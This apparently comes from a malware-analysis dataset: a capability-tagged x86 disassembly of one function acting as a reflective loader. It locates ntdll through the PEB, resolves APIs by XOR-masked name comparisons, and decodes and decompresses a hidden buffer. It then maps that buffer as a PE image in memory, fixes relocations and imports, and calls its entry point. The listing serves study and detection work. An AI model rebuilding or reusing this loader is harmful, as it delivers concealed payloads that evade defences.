Function at 0x10010270
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push 0x50
lea eax, [esp + 0x44]
mov dword [esp + 0xa0], ecx
push 0
push eax
call fcn.10165df0
mov eax, dword fs:[0x30]
add esp, 0xc
mov edx, dword [esp + 0x40]
mov dword [esp + 0x68], eax
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
cmp dword [ecx + 0x18], 0
je 0x100102e4
mov esi, dword [ecx + 0x30]
movzx eax, word [esi]
cmp eax, 0x4e
je 0x100102c1
cmp eax, 0x6e
jne 0x100102d9
cmp word [esi + 2], 0x74
jne 0x100102d9
mov ax, word [esi + 6]
cmp ax, word [esi + 8]
jne 0x100102d9
mov edx, dword [ecx + 0x18]
mov dword [esp + 0x40], edx
test edx, edx
jne 0x100102e4
mov ecx, dword [ecx]
cmp dword [ecx + 0x18], edx
jne 0x100102b1
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x14], eax
mov ecx, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add ecx, edx
mov eax, dword [esp + 0x5c]
add ebx, edx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov dword [esp + 0x20], ecx
mov ecx, dword [eax + edx + 8]
mov esi, dword [eax + edx]
xor ecx, 0xbbeaf4ff
mov edi, dword [eax + edx + 4]
xor esi, 0xbbeaf4ff
mov dword [esp + 0x10], ecx
xor edi, 0xbbeaf4ff
mov ecx, dword [eax + edx + 0xc]
xor ecx, 0xbbeaf4ff
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + edx + 0x10]
mov eax, dword [eax + edx + 0x14]
xor ecx, 0xbbeaf4ff
xor eax, 0xbbeaf4ff
mov dword [esp + 0x1c], ecx
cmp dword [esp + 0x24], 0
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0xc]
jne 0x100103ed
cmp esi, 0xd7ab83a5
jne 0x100103ed
cmp edi, 0xda899b93
jne 0x100103ed
cmp ecx, 0xd2bc918b
jne 0x100103ed
cmp eax, 0xda9f808d
jne 0x100103ed
cmp dword [esp + 0x1c], 0xd68fb993
jne 0x100103ed
cmp dword [esp + 0x94], 0xbb938690
jne 0x100103ed
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x10]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0xc]
cmp dword [esp + 0x34], 0
jne 0x10010437
cmp esi, 0xc9ac83a5
jne 0x10010437
cmp edi, 0xd2bc919a
jne 0x10010437
cmp ecx, 0xda9f808d
jne 0x10010437
cmp eax, 0xd68fb993
jne 0x10010437
cmp dword [esp + 0x1c], 0xbb938690
jne 0x10010437
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x50], eax
cmp dword [esp + 0x30], 0
jne 0x10010468
cmp esi, 0xf79890b3
jne 0x10010468
cmp edi, 0xff8e9590
jne 0x10010468
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x48], eax
cmp dword [esp + 0x38], 0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
jne 0x100104c2
cmp esi, 0xfc9890b3
jne 0x100104c2
cmp edi, 0xc9ba809a
jne 0x100104c2
cmp eax, 0xdf8f9790
jne 0x100104c2
cmp ecx, 0xfa8f868a
jne 0x100104c2
cmp dword [esp + 0x1c], 0xde98909b
jne 0x100104c2
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x18], 0
jne 0x10010519
cmp esi, 0xfa8680ad
jne 0x10010519
cmp edi, 0xe8838791
jne 0x10010519
cmp eax, 0xd583868b
jne 0x10010519
cmp ecx, 0xee85a098
jne 0x10010519
cmp dword [esp + 0x1c], 0xd4899d91
jne 0x10010519
cmp dword [esp + 0x94], 0xcfb9919b
jne 0x10010519
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x58], eax
cmp dword [esp + 0x3c], 0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
jne 0x10010573
cmp esi, 0xfd8680ad
jne 0x10010573
cmp edi, 0xee8f918d
jne 0x10010573
cmp eax, 0xd4899d91
jne 0x10010573
cmp ecx, 0xcfb9919b
jne 0x10010573
cmp dword [esp + 0x1c], 0xdc849d8d
jne 0x10010573
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x2c], 0
jne 0x100105b3
cmp esi, 0xff8680ad
jne 0x100105b3
cmp edi, 0xd685979a
jne 0x100105b3
cmp eax, 0xc88f868f
jne 0x100105b3
cmp ecx, 0xdd9fb68c
jne 0x100105b3
mov eax, dword [esp + 0x14]
movzx ecx, word [ebx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x54], eax
cmp dword [esp + 0x30], 0
je 0x100105dd
cmp dword [esp + 0x24], 0
je 0x100105dd
cmp dword [esp + 0x34], 0
je 0x100105dd
cmp dword [esp + 0x38], 0
je 0x100105dd
cmp dword [esp + 0x3c], 0
je 0x100105dd
cmp dword [esp + 0x18], 0
jne 0x100105ec
mov ecx, dword [esp + 0x20]
add ecx, 4
add ebx, 2
jmp 0x10010333
mov ebx, dword [esp + 0x9c]
xor edx, edx
lea ecx, [ebx + 4]
nop dword [eax + eax]
movzx eax, word [ebx + 2]
lea ecx, [ecx + 2]
add word [ecx - 2], ax
movzx eax, word [ebx]
xor word [ecx - 2], ax
lea eax, [edx + 0x128e]
add word [ebx], ax
inc edx
cmp edx, 4
jl 0x10010600
mov eax, dword [ebx + 8]
mov edx, 4
and eax, 0xfffffffe
cmp eax, 8
jbe 0x10010659
lea ecx, [ebx + 0xc]
movzx eax, word [ebx + 2]
lea ecx, [ecx + 2]
add word [ecx - 2], ax
movzx eax, word [ebx]
xor word [ecx - 2], ax
lea eax, [edx + 0x128e]
add word [ebx], ax
inc edx
mov eax, dword [ebx + 8]
shr eax, 1
cmp edx, eax
jb 0x10010634
mov eax, dword [ebx + 4]
mov esi, ebx
push 4
push 0x1000
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
push eax
push 0
lea eax, [esp + 0x70]
push eax
push 0xffffffffffffffff
call dword [esp + 0x3c]
lea eax, [esp + 0x64]
push eax
push dword [ebx + 8]
lea eax, [esi + 0xc]
push eax
push dword [ebx + 4]
push dword [esp + 0x70]
push 0x102
call dword [esp + 0x6c]
mov ecx, dword [esp + 0x60]
mov eax, 0x5a4d
mov dword [esp + 0x6c], ecx
cmp word [ecx], ax
jne 0x100109cd
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0x70], eax
cmp dword [eax], 0x4550
jne 0x100109cd
mov eax, dword [eax + 0x50]
push 0x40
push 0x1000
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
push eax
push 0
lea eax, [esp + 0x84]
push eax
push 0xffffffffffffffff
call dword [esp + 0x64]
mov edx, dword [esp + 0x74]
test edx, edx
je 0x100109cd
mov eax, dword [esp + 0x70]
xor ecx, ecx
cmp dword [eax + 0x54], ecx
jbe 0x10010718
nop dword [eax]
mov eax, dword [esp + 0x6c]
mov al, byte [ecx + eax]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [esp + 0x70]
mov edx, dword [esp + 0x74]
cmp ecx, dword [eax + 0x54]
jb 0x10010700
mov eax, dword [esp + 0x6c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [esp + 0x78], eax
mov dword [eax + 0x34], edx
xor eax, eax
mov esi, dword [esp + 0x78]
movzx ebx, word [esi + 0x14]
add ebx, 0x24
cmp ax, word [esi + 6]
jae 0x100107a9
add ebx, esi
mov eax, dword [ebx + 4]
test eax, eax
jne 0x1001076e
mov eax, dword [esp + 0x70]
cmp dword [eax + 0x38], 0
jbe 0x10010799
xor edx, edx
mov ecx, dword [esp + 0x74]
mov eax, dword [ebx]
add ecx, edx
inc edx
mov byte [ecx + eax], 0
mov eax, dword [esp + 0x70]
cmp edx, dword [eax + 0x38]
jb 0x10010756
jmp 0x10010791
xor edi, edi
test eax, eax
je 0x10010799
mov esi, dword [ebx + 8]
mov edx, dword [esp + 0x74]
add esi, edi
mov eax, dword [esp + 0x60]
add edx, edi
mov ecx, dword [ebx]
inc edi
mov al, byte [esi + eax]
mov byte [edx + ecx], al
cmp edi, dword [ebx + 4]
jb 0x10010774
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x78]
movzx eax, word [esi + 6]
inc ecx
add ebx, 0x28
mov dword [esp + 0x18], ecx
cmp ecx, eax
jl 0x10010743
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov edx, ecx
sub edx, dword [eax + 0x34]
mov dword [esp + 0x20], edx
mov dword [esp + 0x7c], edx
je 0x1001083a
cmp dword [esi + 0xa4], 0
jbe 0x1001083a
mov ebx, dword [esi + 0xa0]
add ebx, ecx
mov eax, dword [ebx]
test eax, eax
je 0x1001083a
mov edi, dword [ebx + 4]
lea edx, [ebx + 8]
add eax, ecx
xor esi, esi
mov dword [esp + 0x2c], eax
lea eax, [edi - 8]
test eax, 0xfffffffe
jbe 0x1001082d
nop
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x10010819
mov eax, dword [esp + 0x20]
and ecx, 0xfff
add ecx, dword [esp + 0x2c]
add dword [ecx], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x20], eax
mov edi, dword [ebx + 4]
inc esi
add edx, 2
lea eax, [edi - 8]
shr eax, 1
cmp esi, eax
jb 0x100107f0
mov ecx, dword [esp + 0x74]
mov eax, dword [ebx + edi]
add ebx, edi
test eax, eax
jne 0x100107d7
mov esi, dword [esp + 0x78]
cmp dword [esi + 0x84], 0
jbe 0x1001096c
mov ebx, dword [esi + 0x80]
add ebx, ecx
je 0x1001096c
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x10010968
add ecx, eax
xor eax, eax
mov dword [esp + 0x8c], ecx
cmp byte [ecx], al
je 0x10010877
nop
inc eax
cmp byte [eax + ecx], 0
jne 0x10010870
movzx eax, ax
mov word [esp + 0x88], ax
inc eax
mov word [esp + 0x8a], ax
lea eax, [esp + 0x88]
push 1
push eax
lea eax, [esp + 0x88]
push eax
call dword [esp + 0x64]
lea eax, [esp + 0x98]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
call dword [esp + 0x58]
lea eax, [esp + 0x80]
push eax
call dword [esp + 0x60]
mov edx, dword [esp + 0x98]
test edx, edx
je 0x100109cd
mov eax, dword [ebx]
mov ecx, dword [esp + 0x74]
test eax, eax
je 0x100108e8
mov esi, dword [ebx + 0x10]
lea edi, [eax + ecx]
add esi, ecx
jmp 0x100108ef
mov edi, dword [ebx + 0x10]
add edi, ecx
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x1001095f
sub edi, esi
test eax, eax
jns 0x10010901
push esi
push eax
push 0
jmp 0x10010939
add eax, 2
add ecx, eax
xor eax, eax
mov dword [esp + 0x8c], ecx
cmp byte [ecx], al
je 0x1001091a
inc eax
cmp byte [eax + ecx], 0
jne 0x10010913
movzx eax, ax
mov word [esp + 0x88], ax
inc eax
push esi
mov word [esp + 0x8e], ax
lea eax, [esp + 0x8c]
push 0
push eax
push edx
call dword [esp + 0x54]
cmp dword [esi], 0
je 0x1001095b
mov eax, dword [edi + esi + 4]
add esi, 4
test eax, eax
je 0x1001095b
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x98]
jmp 0x100108f7
mov ecx, dword [esp + 0x74]
add ebx, 0x14
jne 0x10010855
mov esi, dword [esp + 0x78]
mov edx, dword [esi + 0x28]
add edx, ecx
xor eax, eax
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jae 0x10010983
mov ecx, dword [esp + 0x74]
jmp 0x10010973
xor ecx, ecx
mov eax, dword [esp + 0x78]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x10010985
mov eax, dword [esp + 0x78]
cmp dword [eax + 0x28], 0
je 0x100109ad
mov ecx, dword [esp + 0x9c]
push ecx
push 1
push dword [esp + 0x7c]
call edx
push 0x4000
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x68]
push eax
push 0xffffffffffffffff
call dword [esp + 0x60]
mov eax, dword [esp + 0x74]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret